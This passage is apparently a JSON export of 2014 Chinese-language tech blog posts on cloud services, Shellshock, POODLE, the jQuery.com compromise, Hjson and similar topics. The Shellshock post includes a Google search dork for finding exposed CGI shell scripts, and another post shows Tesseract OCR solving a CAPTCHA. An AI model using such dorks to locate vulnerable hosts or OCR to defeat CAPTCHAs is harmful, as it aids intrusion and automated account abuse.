    "body": "今年一月的時候，<a href=\"https://www.netflix.com/\">Netflix</a> 曾經寫過一篇關於對 <a href=\"https://aws.amazon.com/s3/\">S3</a> 的 Eventually Consistency 的問題：「<a href=\"http://blog.gslin.org/archives/2014/01/12/4126/netflix-%E5%B0%8D-s3-%E7%9A%84-eventually-consistency-%E7%9A%84%E8%A3%9C%E5%BC%B7/\">Netflix 對 S3 的 Eventually Consistency 的補強...</a>」，當時 Netflix 的作法是實做 <a href=\"https://github.com/Netflix/s3mper\">s3mper</a> 以確保一致性。\r\n\r\n過了半年，<a href=\"https://aws.amazon.com/\">AWS</a> 的人在 <a href=\"https://aws.amazon.com/elasticmapreduce/\">EMR</a> 上實做了類似的功能：「<a href=\"https://aws.amazon.com/blogs/aws/emr-consistent-file-system/\">Consistent View for Elastic MapReduce's File System</a>」。\r\n\r\n<img src=\"//i.imgur.com/isfdBaa.png\" alt=\"\" />\r\n\r\n看文章的說明，應該是用到 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 負責 S3 上資料的狀態，而 DynamoDB 的資料並不會砍掉，所以在使用時要注意這點 :o",
    "title": "EMR 對 S3 Consistency 的補強"
  },
  {
    "id": "5091",
    "body": "昨天才找人做完 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a> 資料，今天看到資料的時候覺得還蠻特別，跟一般預想的情況不太一樣...\r\n\r\n<img src=\"//i.imgur.com/6j0uCGg.png\" alt=\"\" />\r\n\r\nCloudFlare 在台灣使用的人應該是 <a href=\"http://www.plurk.com/\">Plurk</a> 的 <code>images.plurk.com</code> (透過 CNAME 指過去，應該是企業付費用戶) 以及一堆 Content Farm。\r\n\r\n上面的圖是我們家在 <a href=\"http://www.hinet.net/\">HiNet</a> 三重重新機房端 (203.69.67.x) 對 <code>www.cloudflare.com.cdn.cloudflare.net</code> 做出來的資料，這種 pattern 很上班時間用的網站的感覺？\r\n\r\n多觀察幾天看看好了...",
    "title": "HiNet (Colocation) 對 CloudFlare 的速度"
  },
  {
    "id": "5093",
    "body": "在「<a href=\"http://www.percona.com/blog/2014/09/17/syncing-mysql-slave-table-with-pt-online-schema-change/\">Syncing MySQL slave table with pt-online-schema-change</a>」這篇看到 master 與 slave 的資料不同步時，強制性同步的方法：\r\n\r\n<code>pt-online-schema-change --alter 'ENGINE=INNODB' D=dbname,t=tblname</code>\r\n\r\n由於 pt-online-schema-change 的作法是建一個新的表格，然後把舊表格的資料寫過去，而這些行為會被 replicate 到新機器上，於是就同步了...\r\n\r\n這招有趣 XDDD",
    "title": "利用 pt-online-schema-change 同步 master 與 slave 的資料"
  },
  {
    "id": "5097",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 有兩篇公告出來：「<a href=\"http://blog.cloudflare.com/announcing-keyless-ssl-all-the-benefits-of-cloudflare-without-having-to-turn-over-your-private-ssl-keys/\">Announcing Keyless SSL™: All the Benefits of CloudFlare Without Having to Turn Over Your Private SSL Keys</a>」、「<a href=\"http://blog.cloudflare.com/keyless-ssl-the-nitty-gritty-technical-details/\">Keyless SSL: The Nitty Gritty Technical Details</a>」。前面的一篇偏向公告文 (以及公關稿)，而後面的一篇提到了實際運作的方式。\r\n\r\n用兩張 Keyless SSL 的 flow 就可以知道差異了，一張是 RSA-based，一張是 DH-based：\r\n\r\n<img src=\"//i.imgur.com/HZwLtJE.jpg\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/X0GXyc5.jpg\" alt=\"\" />\r\n\r\n把與 private key 相關的運算拆出來，由後方計算完成後再計算出 session key 與 client 溝通。如此一來，雖然速度比較慢，但 private key 管理在客戶自己手上...",
    "title": "CloudFlare 的 Keyless SSL 服務"
  },
  {
    "id": "5099",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到的：「<a href=\"http://playingwithsid.blogspot.com/2014/09/noto-fonts-update.html\">Noto Fonts Update</a>」。\r\n\r\n<img src=\"//i.imgur.com/ClStSNt.png\" alt=\"\" />\r\n\r\n如同預期的，逗點的問題解決掉了。然後剛剛另外測試 LibreOffice + Noto 時的中文字，本來會變成方塊字的問題也解了...\r\n\r\n<strong>Update 2014/10/01</strong>：我搞錯了... 我的設定還是用到原來的字型檔，LibreOffice 開起來還是爛的...",
    "title": "Google Noto 字型出新版了"
  },
  {
    "id": "5101",
    "body": "<a href=\"https://github.com/\">GitHub</a> 從 2.3.github 特製版升級到 Rails 3：「<a href=\"http://shayfrendt.com/posts/upgrading-github-to-rails-3-with-zero-downtime/\">Upgrading GitHub to Rails 3 with Zero Downtime</a>」，其中切換的原因之一是維護成本：\r\n\r\n<blockquote>This choice has bitten us in the form of gem incompatibility, having to manually backport security patches, missing out on core framework performance and feature improvements, and being unable to easily contribute back to the open source rails project.</blockquote>\r\n\r\n升級的過程工程浩大，用了四個人的全職時間去做到完美切換：\r\n\r\n<blockquote>Over the last six months, we’ve had a team of 4 engineers working full time on upgrading to Rails 3.</blockquote>\r\n\r\n<img src=\"//i.imgur.com/eeZcy1o.png\" alt=\"\" />\r\n\r\n接下來不知道是不是繼續切換到 Rails 4...",
    "title": "GitHub 升級到 Rails 3 了..."
  },
  {
    "id": "5104",
    "body": "先前 <a href=\"https://www.paypal.com/\">PayPal</a> 的分家 <a href=\"https://www.braintreepayments.com/\">Braintree</a> 宣佈支援 Bitcoin，而現在本家也宣佈要支援：「<a href=\"https://www.paypal-community.com/t5/PayPal-Forward/PayPal-and-Virtual-Currency/ba-p/828230\">PayPal and Virtual Currency</a>」，不過目前只是放話順便在北美試辦，速度還是慢了不少...\r\n\r\nBitcoin 交易不可逆的性質讓很多事情都改變了，接下來應該會愈來愈精彩...",
    "title": "PayPal 本家也要支援 Bitcoin"
  },
  {
    "id": "5106",
    "body": "出自「<a href=\"http://www.cultofmac.com/297300/killer-trick-will-charge-iphone-6-half-time/\">This killer trick will charge your iPhone 6 in half the time</a>」，他們發現拿 iPad 的 12W 充電器充會快很多：\r\n\r\n<blockquote>You can use a 12-watt iPad charger to juice up the iPhone 6 and iPhone 6 Plus in half the time when compared to the 5-watt iPhone charger your device ships with by default.</blockquote>\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"//www.youtube.com/embed/jocCLrp5-ZA\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "加速 iPhone 6 與 iPhone 6+ 的充電速度"
  },
  {
    "id": "5109",
    "body": "這讓人無言了，<a href=\"https://www.gnu.org/software/bash/\">Bash</a> 的遠端執行安全漏洞，<a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271\">CVE-2014-6271</a>：\r\n\r\n<blockquote>GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.</blockquote>\r\n\r\n可以在 <a href=\"http://seclists.org/oss-sec/\">oss-sec</a> 上面看到說明「<a href=\"http://seclists.org/oss-sec/2014/q3/650\">Re: CVE-2014-6271: remote code execution through bash</a>」：\r\n\r\n<blockquote>Debian and other GNU/Linux vendors plan to disclose a critical, remotely exploitable security vulnerability in bash this week, related to the processing of environment variables.  Stephane Chazelas discovered it, and CVE-2014-6271 has been assigned to it.</blockquote>\r\n\r\n透過環境變數打進去... Redhat 的「<a href=\"https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/\">Bash specially-crafted environment variables code injection attack</a>」這篇也給了不少例子。\r\n\r\n<a href=\"http://www.linux.org/\">Linux</a> 下通常最常用的 shell 應該還是 Bash 吧？(雖然也看到不少人用 <a href=\"http://www.zsh.org/\">Zsh</a>...)\r\n\r\n然後 <a href=\"https://twitter.com/\">Twitter</a> 上看到非常邪惡的 Google Hack：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>google filetype:sh inurl:cgi-bin;</p>&mdash; dragosr (@dragosr) <a href=\"https://twitter.com/dragosr/status/514945897617051649\">September 25, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n大家可以自己加上 <code>site:</code> 去掃...",
    "title": "Bash 遠端執行安全漏洞"
  },
  {
    "id": "5113",
    "body": "起因在「<a href=\"http://www.riskiq.com/resources/blog/jquerycom-malware-attack-puts-privileged-enterprise-it-accounts-risk\">jQuery.com Malware Attack Puts Privileged Enterprise IT Accounts at Risk</a>」這篇，<a href=\"http://www.riskiq.com/\">RiskIQ</a> 的人偵測到 <a href=\"https://jquery.com/\">jQuery</a> 官方網站異常，帶有惡意軟體。檢查後發現在官網的 html 裡面出現了 <code>jquery-cdn.com</code> 這個非官方的 domain：\r\n\r\n<img src=\"//i.imgur.com/GNR08tN.png\" alt=\"\" />\r\n\r\n這個 domain 可以看到是全新建立的：\r\n\r\n<pre>   Domain Name: JQUERY-CDN.COM\r\n   Registrar: NAMESILO, LLC\r\n   Whois Server: whois.namesilo.com\r\n   Referral URL: http://www.namesilo.com\r\n   Name Server: NS1.DNSOWL.COM\r\n   Name Server: NS2.DNSOWL.COM\r\n   Name Server: NS3.DNSOWL.COM\r\n   Status: clientDeleteProhibited\r\n   Status: clientRenewProhibited\r\n   Status: clientTransferProhibited\r\n   Status: clientUpdateProhibited\r\n   Updated Date: 18-sep-2014\r\n   Creation Date: 18-sep-2014\r\n   Expiration Date: 18-sep-2015</pre>\r\n\r\n透過這個 domain 一路穿出去將惡意程式導進來。\r\n\r\njQuery 官方收到 RiskIQ 的人通之後也開始調查發生什麼事情：「<a href=\"http://blog.jquery.com/2014/09/23/was-jquery-com-compromised/\">Was jquery.com Compromised?</a>」、「<a href=\"http://blog.jquery.com/2014/09/24/update-on-jquery-com-compromises/\">Update on jQuery.com Compromises</a>」。\r\n\r\n就官方的調查看起來，還有好幾波不同的攻擊，故事還沒完結？",
    "title": "jQuery 官網疑似被攻陷..."
  },
  {
    "id": "5117",
    "body": "在「<a href=\"http://lcx.cc/?i=4432\">python 乌云账号暴力猜解工具</a>」這邊看到 <a href=\"https://code.google.com/p/tesseract-ocr/\">Tesseract OCR</a> 這個 command line 工具，比想像中的簡單很多...\r\n\r\nTesseract OCR 最新版是 2012 年出的，所以也不需要另外用 ppa 安裝，在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下可以直接用 apt-get 安裝到 3.02 版：\r\n\r\n<pre># apt-get install tesseract-ocr</pre>\r\n\r\n隨便抓張 CAPTCHA 後直接跑就可以了，像是這張：\r\n\r\n<img src=\"//i.imgur.com/7ihBHrS.gif\" alt=\"\" />\r\n\r\n跑出來的結果：\r\n\r\n<pre>$ tesseract a.gif a\r\nTesseract Open Source OCR Engine v3.02 with Leptonica\r\n$ cat a.txt\r\n8308</pre>\r\n\r\n預設的輸出檔名會加上 <code>.txt</code> 是比較討厭的地方，不然就可以用 <code>/dev/stdout</code> 當作輸出檔名處理掉...",
    "title": "用 Tesseract OCR 解 CAPTCHA"
  },
  {
    "id": "5119",
    "body": "今年年初 (一月) 的時候發表過一次「<a href=\"http://blog.gslin.org/archives/2014/01/25/4183/%E5%90%84%E5%AE%B6%E7%A1%AC%E7%A2%9F%E7%9A%84%E8%80%90%E7%94%A8%E7%A8%8B%E5%BA%A6/\">各家硬碟的耐用程度...</a>」引起爭議厚的最新力做，九月再發表一次：「<a href=\"https://www.backblaze.com/blog/hard-drive-reliability-update-september-2014/\">Hard Drive Reliability Update – Sep 2014</a>」。\r\n\r\n<img src=\"//i.imgur.com/yNovLhM.jpg\" alt=\"\" />\r\n\r\n灰色部份是一月的數據，其他顏色是九月的數據。文中有考慮是否要換成企業級的硬碟 (enterprise drives)，但兩個評估的答案是否定的。\r\n\r\n第一個評估是成本考量，就算一般硬碟以三年保固期有 15% 的 failure rate，相較於企業級 0% failure rate 計算 (於是直接算成 10 年)，成本是不划算的：\r\n\r\n<blockquote>Today on Amazon, a Seagate 3 TB “enterprise” drive costs $235 versus a Seagate 3 TB “desktop” drive costs $102. Most of the drives we get have a 3-year warranty, making failures a non-issue from a cost perspective for that period. However, even if there were no warranty, a 15% annual failure rate on the consumer “desktop” drive and a 0% failure rate on the “enterprise” drive, the breakeven would be 10 years, which is longer than we expect to even run the drives for.</blockquote>\r\n\r\n更何況企業級硬碟的情況根本沒什麼差：\r\n\r\n<blockquote>The assumption that “enterprise” drives would work better than “consumer” drives has not been true in our tests. I analyzed both of these types of drives in our system and found that their failure rates in our environment were very similar — with the “consumer” drives actually being slightly more reliable.</blockquote>",
    "title": "Backblaze 再次發表各家硬碟耐用程度..."
  },
  {
    "id": "5121",
    "body": "在 <a href=\"https://aws.amazon.com/\">AWS</a> 上租一卡車機器的人最近應該都有收到重開機的通知，目前雖然沒有明講編號，但看起來是 10/01 會公開的 <a href=\"http://xenbits.xen.org/xsa/\">XSA</a>-108：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-maintenance-update/\">EC2 Maintenance Update</a>」。\r\n\r\n不過 <a href=\"http://slashdot.org/\">Slashdot</a> 上的「<a href=\"http://it.slashdot.org/story/14/09/25/154233/amazon-forced-to-reboot-ec2-to-patch-bug-in-xen\">Amazon Forced To Reboot EC2 To Patch Bug In Xen</a>」這篇的第一個 comment 很精彩：\r\n\r\n<blockquote>It's funny for me to read that Amazon is notifying its users of an impending reboot.\r\n\r\nI've been suffering with Azure for over a year now, and the only thing that's constant is rebooting....\r\n\r\nMy personal favorite Azure feature, is that SQL Azure randomly drops database connections by design.\r\n\r\nLet that sink in for a while. You are actually required to program your application to expect failed database calls.\r\n\r\nI've never seen such a horrible platform, or a less reliable database server...</blockquote>\r\n\r\n這要怎麼說呢... 就使用雲端服務的人，設計上的確要這樣沒錯，但就提供雲端服務的供應商，應該還是要保持 VM 的穩定性吧... XDDD",
    "title": "Amazon 的 Xen 安全性更新"
  },
  {
    "id": "5125",
    "body": "在 CloudFlare 的「<a href=\"https://blog.cloudflare.com/one-more-thing-keyless-ssl-and-cloudflares-growing-network/\">One More Thing: Keyless SSL and CloudFlare's Growing Network</a>」這篇文章裡提到了 CloudFlare 的擴張計畫，其中藍色是已經有的點，而橘色是計畫的點：\r\n\r\n<img src=\"//i.imgur.com/yKdSXPe.png\" alt=\"\" />\r\n\r\n雖然是說打算在 12 個月內搞定上面的計畫：\r\n\r\n<blockquote>The map above shows all the locations where CloudFlare is actively working to turn up data centers over the next 12 months.</blockquote>\r\n\r\n但不知道多久才會把這些點都設完，尤其這是有規劃進入中國大陸的情況？\r\n\r\n另外看起來台灣也會有點，不知道會放到哪裡... (以及 routing 會怎麼繞)",
    "title": "CloudFlare 的擴張計畫"
  },
  {
    "id": "5131",
    "body": "這大概也只有在 n 年後被解密才會知道是不是真的 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>A Microsoft developer explains in a Reddit thread why Windows 10 is called Windows 10. <a href=\"http://t.co/qJFi8yJEJg\">pic.twitter.com/qJFi8yJEJg</a></p>&mdash; Mikko Hypponen (@mikko) <a href=\"https://twitter.com/mikko/status/517358472715710465\">October 1, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<strong>Update</strong>：Open Source 專案裡已經發現一堆這種寫法了：「<a href=\"http://blog.gslin.org/archives/2014/10/02/5137/windows-10-%E9%83%BD%E5%B8%82%E5%82%B3%E8%AA%AA%E7%9A%84%E4%BD%90%E8%AD%89/\">Windows 10 都市傳說的佐證...</a>」。",
    "title": "Windows 10 的都市傳說..."
  },
  {
    "id": "5133",
    "body": "在「<a href=\"http://threatpost.com/wpscan-vulnerability-database-a-new-wordpress-security-resource/108607\">WPScan Vulnerability Database WordPress Security Resource</a>」這邊看到「<a href=\"https://wpvulndb.com/\">WPScan Vulnerability Database</a>」這個站台，直接列出了 <a href=\"https://wordpress.org/\">WordPress</a> 相關的安全性漏洞。\r\n\r\n列出的漏洞包括了 WordPress 本身以及 Plugin、Theme 的部份。不過 WordPress 在有更新時自己應該會提醒才對？\r\n\r\n這樣看起來主要是確認一直沒更新的安全性漏洞？",
    "title": "WordPress 的安全性資訊"
  },
  {
    "id": "5135",
    "body": "因為 <a href=\"https://www.gnu.org/software/bash/\">Bash</a> 太多人用，找到安全漏洞的成本效益太高，看起來最近會有大量的人力跳進去 code review，接下來應該是 <a href=\"https://cve.mitre.org/\">CVE</a> 滿天飛，跟當初 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的情況類似。\r\n\r\n目前建議是直接看維基百科的說明：「<a href=\"https://en.wikipedia.org/wiki/Shellshock_(software_bug)\">Shellshock (software bug)</a>」，裡面直接列出了目前發現的 CVE 以及 attack vector。\r\n\r\n會讓管理者想要抱頭痛哭，無止盡的 patch...",
    "title": "關於 Shellshock (Bash) 問題"
  },
  {
    "id": "5137",
    "body": "續上篇「<a href=\"http://blog.gslin.org/archives/2014/10/02/5131/windows-10-%E7%9A%84%E9%83%BD%E5%B8%82%E5%82%B3%E8%AA%AA/\">Windows 10 的都市傳說...</a>」，先不管微軟內部的 code 如何，以及跳過 Windows 9 的真正原因，但 open source 專案的確有不少人這樣判斷 Windows 95 與 Windows 98：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Windows 10 不能叫 Windows 9 都市傳說的實證&#10;&#10;<a href=\"https://t.co/4rS72GkByM\">https://t.co/4rS72GkByM</a></p>&mdash; Bill Zhong (@zmx) <a href=\"https://twitter.com/zmx/status/517610802744811520\">October 2, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n還有各種變形的：\r\n\r\n<pre>\t\t} else if (osName.startsWith(\"Windows\")) {\r\n \t\t\tif (osName.indexOf(\"9\") != -1) {\r\n \t\t\t\tjvm = WINDOWS_9x;</pre>\r\n\r\n這該怎麼說呢...",
    "title": "Windows 10 都市傳說的佐證..."
  },
  {
    "id": "5140",
    "body": "愈來愈噴飯了啦，有人發現 Windows 10 有類似的問題：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Windows 10 is also vulnerable to the bash bug! <a href=\"https://twitter.com/hashtag/shellshock?src=hash\">#shellshock</a> <a href=\"http://t.co/uypsMgxbKC\">pic.twitter.com/uypsMgxbKC</a></p>&mdash; Ferdinand Hagethorn (@hagnf) <a href=\"https://twitter.com/hagnf/status/517765668104839168\">October 2, 2014</a></blockquote>\r\n\r\n然後有人拿去 Windows 7 與 Windows 8.1 上面測試，發現也中獎：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p><a href=\"https://twitter.com/hagnf\">@hagnf</a> Windows 7 and 8.1 also behave the same. I suspect most Windows will.</p>&mdash; Matool (@Matool13) <a href=\"https://twitter.com/Matool13/status/517820639567020032\">October 2, 2014</a></blockquote>\r\n\r\n這個世界到底怎麼了...\r\n\r\n<strong>Update</strong>：我去...\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p><a href=\"https://twitter.com/gslin\">@gslin</a> 而且歷史悠久 XD <a href=\"https://t.co/tz5yYMZpO2\">https://t.co/tz5yYMZpO2</a></p>&mdash; Roy Tam (@roytam1) <a href=\"https://twitter.com/roytam1/status/517918217281363969\">October 3, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這張太讚，弄一張過來：\r\n\r\n<img src=\"//i.imgur.com/FWRquA7.png\" alt=\"\" />",
    "title": "Shellshock，Windows 版"
  },
  {
    "id": "5142",
    "body": "在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 裡面意外看到中文，才跑去查：\r\n\r\n<img src=\"//i.imgur.com/pbcCaXs.png\" alt=\"\" />\r\n\r\n找到去年年初的「<a href=\"http://www.v2ex.com/t/58891\">天朝颁发的证书一览表</a>」這篇，把該拔的拔一拔... 目前先關掉 CNNIC 與 WoSign 這兩家，共四把：\r\n\r\n<img src=\"//i.imgur.com/vSm2PWC.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/UZmDJw1.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/KS7IxjN.png\" alt=\"\" />",
    "title": "中國大陸的 CA Root"
  },
  {
    "id": "5147",
    "body": "<a href=\"https://github.com/Swordfish90/cool-retro-term\">Swordfish90/cool-retro-term</a> 這個專案好讚：\r\n\r\n<img src=\"//i.imgur.com/tLUQvpn.png\" alt=\"\" />\r\n\r\n模擬古董 Terminal 的畫面啊 XDDD",
    "title": "模擬古董 Terminal..."
  },
  {
    "id": "5149",
    "body": "翻資料的時候發現 <a href=\"https://siftscience.com/\">Sift Science</a> 這家公司，直接看官網提供的範例程式碼會比較清楚，PHP code 長這樣：(在 single quote 裡面放變數，看起來不會動 XDDD)\r\n\r\n<pre>require 'sift-php/lib/Services_JSON-1.0.3/JSON.php';\r\nrequire 'sift-php/lib/SiftRequest.php';\r\nrequire 'sift-php/lib/SiftResponse.php';\r\nrequire 'sift-php/lib/SiftClient.php';\r\n\r\n$sift = new SiftClient('my_api_key');\r\n$response = $sift-&gt;track('$transaction', array(\r\n  '$user_id' =&gt; '$billy_jones_301',\r\n  '$user_email' =&gt; '$bill@gmail.com',\r\n  '$transaction_type' =&gt; '$sale',\r\n  '$transaction_status' =&gt; '$success',\r\n  '$amount' =&gt; '100000000',\r\n  '$currency_code' =&gt; 'USD',\r\n  '$billing_address' =&gt; array(\r\n    '$name'         =&gt; 'Bill Jones',\r\n    '$phone'        =&gt; '1-415-555-6041',\r\n    '$address_1'    =&gt; '2100 Main Street',\r\n    '$address_2'    =&gt; 'Apt 3B',\r\n    '$city'         =&gt; 'New London',\r\n    '$region'       =&gt; 'New Hampshire',\r\n    '$country'      =&gt; 'US',\r\n    '$zipcode'      =&gt; '03257'\r\n  ),\r\n  '$payment_method' =&gt; array(\r\n    '$payment_type'    =&gt; '$credit_card',\r\n    '$payment_gateway' =&gt; '$braintree',\r\n    '$card_bin'        =&gt; '542486',\r\n    '$card_last4'      =&gt; '4444'\r\n  )\r\n));</pre>\r\n\r\n查 <a href=\"https://packagist.org/search/?q=Sift\">https://packagist.org/search/?q=Sift</a> 這邊也有看到一些東西，應該也可以用 <a href=\"https://getcomposer.org/\">Composer</a> 掛起來用...\r\n\r\n費用的部份，量夠大的時候，平均下來就是一筆 USD$0.01 (前一萬筆不用錢，接下來一萬筆 USD$0.02，然後都是 USD$0.01)，約 NTD$0.3：\r\n\r\n<blockquote>First 10,000 transactions per month Free!\r\nNext 10,000 transactions 2¢ each\r\nEvery transaction above that 1¢ each</blockquote>",
    "title": "偵測信用卡交易是否為盜刷的服務"
  },
  {
    "id": "5151",
    "body": "<a href=\"http://jquery.com/\">jQuery.com</a> 在九月時被攻陷的事情的報告出爐了：「<a href=\"http://blog.jquery.com/2014/10/06/jquery-com-september-2014-security-retrospective/\">jQuery.com September 2014 Security Retrospective</a>」。\r\n\r\n除了 <a href=\"https://en.wikipedia.org/wiki/Shellshock_(software_bug)\">ShellShock</a> 的問題外，還包括了不少既有的漏洞沒修，所以最後也不太輕處到底是從哪個洞進來的，不過看起來最像的是 ShellShock？不過報告上沒有發現 CDN 的部份有被攻陷 (<code>code.jquery.com</code> 的部份)，所以看起來只有主站受到影響？\r\n\r\n而因為受到 DDoS 攻擊，所以把非 CDN 部份的服務丟上 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 了，由 CloudFlare 的人贊助 Enterprise 版的服務給 jQuery.com 使用，讓 CloudFlare 幫忙擋掉攻擊的部份...",
    "title": "jQuery.com 九月的安全事件報告"
  },
  {
    "id": "5154",
    "body": "前幾天看到「<a href=\"https://laktak.github.io/hjson/\">Hjson, the Human JSON</a>」這東西，想要在 <a href=\"http://www.json.org/\">JSON</a> 上面提出拓展，讓人更好維護。\r\n\r\n有幾個設計是大家已經想很久了。\r\n\r\n首先是允許註解：\r\n\r\n<pre>{\r\n  # specify rate in requests/second\r\n  \"rate\": 1000\r\n}</pre>\r\n\r\n再來是允許 ending trailing comma，這點在新的 JavaScript Engine 裡面是允許的，但在 JSON 規格裡是不允許的，對於 copy-paste 時就得很小心有沒有中獎：\r\n\r\n<pre>{\r\n  one: 1,\r\n  two: 2,\r\n}</pre>\r\n\r\n另外幾個特點就還好。\r\n\r\nobject 的 key 沒有特殊情況時可以省略 double quote：\r\n\r\n<pre>{\r\n  key: \"value\"\r\n}</pre>\r\n\r\n甚至 value 是 single line 時也可以省略：\r\n\r\n<pre>{\r\n  text: look ma, no quotes!\r\n}</pre>\r\n\r\n而且當沒有 double quote 時不需要處理 escape 問題：\r\n\r\n<pre>{\r\n  path: c:\\windows\r\n  inject: &lt;div class=\"important\"&gt;&lt;/div&gt;\r\n\r\n  # escapes work inside quotes\r\n  escape: \"c:\\\\windows\"\r\n}</pre>\r\n\r\n然後逗點可以省略，給的範例也突顯出對腦袋不直覺的問題 (ambiguous)，這邊的 1 是 integer 還是 string？\r\n\r\n<pre>{\r\n  one: 1\r\n  two: 2\r\n}</pre>\r\n\r\n多行，用 <code>'''</code> 應該是借用了 <a href=\"http://www.python.org/\">Python</a> 的想法？\r\n\r\n<pre>{\r\n  haiku:\r\n    '''\r\n    JSON I love you.\r\n    But strangled is my data.\r\n    This, so much better.\r\n    '''\r\n}</pre>\r\n\r\n規格後面有提到 syntax，可以看到定義。\r\n\r\nHjson 算是一個開始吧，<a href=\"http://www.yaml.org/\">YAML</a> 的設計需要極長的 training 時間才能正確使用，不知道 <a href=\"http://www.saltstack.com/\">SaltStack</a> 會不會有人馬上寫 adapter 出來接？(因為 SaltStack 已經可以接 JSON 與 YAML，只要有人把該接的接上去就可以了)",
    "title": "Hjson：the Human JSON"
  },
  {
    "id": "5157",
    "body": "<a href=\"https://getcomposer.org/\">Composer</a> 是目前 <a href=\"http://www.php.net/\">PHP</a> 世界裡比較紅的套件管理工具，內建了一些 autoload 模組，以及 <a href=\"https://packagist.org/\">Packagist</a> 這個巨大的 ecosystem。\r\n\r\n在「<a href=\"http://blog.doh.ms/2014/10/13/installing-composer-packages/\">Installing Composer Packages</a>」這篇文章裡提到要如何在 Composer 裡指定套件的版本。在這之前，你需要先知道什麼是 <a href=\"http://semver.org/\">Semantic Versioning</a>，然後再來看作者的論述。\r\n\r\n直接講結論，文章裡推薦用 <code>~</code> 的方式指定版本，這通常會是你要的結果：用 <code>~1.2</code> 表示 <code>&gt;=1.2.0,&lt;2.0.0</code>；而用 <code>~1.2.3</code> 則可以表示 <code>&gt;=1.2.3, &lt;1.3</code>。\r\n\r\n在對付 compatibility 問題時還蠻常見的情況。",
    "title": "Composer 的版本選擇方式"
  },
  {
    "id": "5159",
    "body": "在 <a href=\"http://zite.com/\">Zite</a> 上看到「<a href=\"http://www.computerworld.com/article/2825065/tiny-anonabox-to-offer-online-anonymity-through-tor.html\">Tiny Anonabox to offer online anonymity through Tor</a>」這篇文章。\r\n\r\n<img src=\"//i.imgur.com/h3nCsWt.png\" alt=\"\" />\r\n\r\n在 <a href=\"https://www.kickstarter.com/\">Kickstarter</a> 上可以看到更完整的資料：「<a href=\"https://www.kickstarter.com/projects/augustgermar/anonabox-a-tor-hardware-router\">anonabox : a Tor hardware router</a>」。\r\n\r\n可以想像出來大概是什麼技術組合起來。分別處理 DNS query 以及實際連線的部份應該就可以搞定很多應用了。\r\n\r\n不知道隱私的部份可以做到什麼程度，畢竟在 <a href=\"https://www.torproject.org/\">Tor</a> 上面仍然有監聽的風險，如果讓 HTTP traffic 在上面跑的話等於是裸奔...",
    "title": "自動將流量轉到 Tor 上面的硬體"
  },
  {
    "id": "5161",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 一向是個重要的資訊來源，以往大家要分析 Hacker News 上的文章都是自己硬幹：爬網站的結構後再做後續處理。而現在總算是不用全部硬幹了，官方提供 API 讓大家存取：「<a href=\"http://blog.ycombinator.com/hacker-news-api\">Hacker News API</a>」。\r\n\r\n透過與 <a href=\"https://www.firebase.com/\">Firebase</a> 的合作 (YC S11，Y Combinator Summer 2011)，Hacker News 的資料可以透過 Firebase 提供的 API endpoint 取得了。\r\n\r\n接下來應該可以看到更多資料被丟出來玩？",
    "title": "Hacker News 的 API"
  },
  {
    "id": "5164",
    "body": "這次的慘案是由 <a href=\"https://www.google.com/\">Google</a> 的人找到 SSL 3.0 的問題：「<a href=\"http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html\">This POODLE bites: exploiting the SSL 3.0 fallback</a>」。\r\n\r\nGoogle 提供的解法有兩種。一種是關掉 SSL 3.0，另外一種是關掉 SSL 3.0 的 CBC-mode cipher，但兩種解法都還是會痛：\r\n\r\n<blockquote>Disabling SSL 3.0 support, or CBC-mode ciphers with SSL 3.0, is sufficient to mitigate this issue, but presents significant compatibility problems, even today.</blockquote>\r\n\r\n提到相容性問題的原因是 Windows XP + IE6 的組合，在預設安裝下是不支援 TLS 1.0 的 (需要另外打開選項啟用)，而看到那個 11.1%：\r\n\r\n<img src=\"//i.imgur.com/sP1qFTh.png\" alt=\"\" />\r\n<small>出自「<a href=\"https://www.modern.ie/en-us/ie6countdown\">Internet Explorer - IE 6 Countdown | Modern.IE</a>」</small>\r\n\r\n另外是 SSL 3.0 如果不支援 CBC-mode cipher 的話，也只剩下 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a>，而這早就千窗百孔了：\r\n\r\n<img src=\"//i.imgur.com/UEBsI7p.png\" alt=\"\" />\r\n<small>出自「<a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">Transport Layer 